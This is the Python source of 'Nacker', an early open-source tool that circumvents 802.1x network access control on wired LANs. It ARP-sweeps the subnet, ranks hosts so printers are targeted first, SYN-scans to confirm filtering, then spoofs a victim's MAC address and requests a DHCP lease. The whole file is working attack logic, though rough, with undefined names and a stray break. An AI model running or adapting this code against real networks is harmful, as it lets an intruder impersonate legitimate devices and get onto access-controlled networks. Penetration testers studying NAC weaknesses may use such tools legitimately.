#!/usr/bin/env python
'''
Nacker is a tool to circumvent 802.1x Network Access Control (NAC) on
a wired LAN.

Copyright (C) 2013  Carsten Maartmann-Moe

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.

Created on Aug 29, 2013

@author: Carsten Maartmann-Moe <carsten@carmaa.com> aka ntropy
'''

import getopt
import os
import sys
import socket
import netifaces
from pprint import pprint
from netaddr import IPNetwork
from datetime import date
from caravan import arp, dhcp, icmp, tcp, chassis
from scapy.all import *

VERSION = '0.0.1'
URL = 'http://github.com/carmaa/nacker'
PC_MANUFACTURERS = ['Apple', 'Lenovo', 'Dell', 'Hewlett-Packard', 
                    'Acer' ,'ASUS', 'Fujitsu', 'Sony', 'Toshiba']
PRINTER_MANUFACTURERS = ['Xerox', 'Lexmark', 'Rioch', 'Canon', 'Brother']


def banner():
    '''
    Print obligatory banner
    '''
    print('Nacker - bypass 802.1x LAN NAC')
    print('v{0} (C) Carsten Maartmann-Moe {1}'.format(VERSION, date.today().strftime("%Y")))
    print('Download: {0} | Twitter: @breaknenter'.format(URL))
    print('')



def main(argv):
    encoding = sys.getdefaultencoding()
    
    banner()

    # Check if we're root
    if not chassis.is_root():
        sys.exit(1)
    
    # Parse args
    try:
        opts, args = getopt.getopt(argv[1:], 'h', ['help'])
    except getopt.GetoptError as err:
        print(err)
        usage(argv[0])
        sys.exit(2)
    for opt, arg in opts:
        if opt in ('-h', '--help'):
            usage(argv[0])
            sys.exit()
        else:
            assert False, 'Option not handled: ' + opt
    
    # We don't accept any other arguments
    if args:
        term.warn('Arguments {0} ignored'.format(', '.join(args)))
    
    # Main logic goes here

    # Get interfaces, ip address and netmask
    # TODO: Error handling in the instance there's no interfaces with IP
    # TODO: Give the option to select interface in the instance of multi-homed
    iface = chassis.ip_interfaces().next()
    print('Using interface {0} with address {1} and netmask {2}:'.format(
        iface.name, iface.ip, iface.subnet.netmask))
    original_ip = iface.ip

    # Do an ARP ping sweep against the subnet
    print('Performing an ARP ping sweep of the LAN')
    hosts = arp.pingsweep(iface.subnet)
    print('{0} live hosts found'.format(len(hosts)))

    # Check if we can ping the hosts, try until first answer or exhausted
    for host in hosts:
        if icmp.ping(host[0]):
            break

    ips = list(iface.subnet.iter_hosts())
    first = ips.pop(0)
    last = ips.pop()
    print('Removing {0} and {1} from target list'.format(first, last))
    hosts = [h for h in hosts if str(first) not in h]
    hosts = [h for h in hosts if str(last) not in h]

    # Sort the MAC addresses based on organization, laptops and workstations
    print('Sorting hosts to targeting printers first, and laptops last')
    hosts.sort(key = lambda host: host[1].oui.registration().org in PC_MANUFACTURERS)
    hosts.sort(key = lambda host: host[1].oui.registration().org in PRINTER_MANUFACTURERS, reverse=True)
    #pprint(hosts)

    # Portscan the first host to see if packets are dropped (baseline)
    print('Checking if we can communicate on the LAN by portscanning top 10 ports')
    baseline_tcp = tcp.synscan(hosts[0][0])
    if baseline_tcp:
        print('Found {0} open ports:'.format(len(baseline)))
        for item in baseline_tcp:
            print(item)
        print('Are you sure you are on a LAN that is protected by NAC?')
        sys.exit(-1)
    else:
        print('No open ports found. Looks like you are on a NACed LAN. Let\'s roll')
    baseline_icmp = icmp.ping('google.com')

    # For each MAC address, grab it and ask for an IP
    
    for ip, mac in hosts:
        print('Setting mac: {0} (owned by {1})'.format(mac, ip))
        iface.spoof_mac(mac)
        #dhcpoffer = dhcp.discover()
        #dhcpack = dhcp.request(dhcpoffer)
        iface.dhcp()
        if iface.ip != original_ip:
            print('IP changed')
        break
        pass
        #dhcp.discover(mac)
        # Check IP against IP originally associated with MAC - if they are not
        # equal, we're likely authenticated to the switch


def usage(execname):
    print(
'''Nacker is a tool to bypass 802.1x Network Access Control (NAC) on a wired LAN.

Usage: ''' + os.path.basename(execname) + ''' [OPTIONS]

Options:
    -h, --help:           Displays this message.''')


if __name__ == '__main__':
    main(sys.argv)
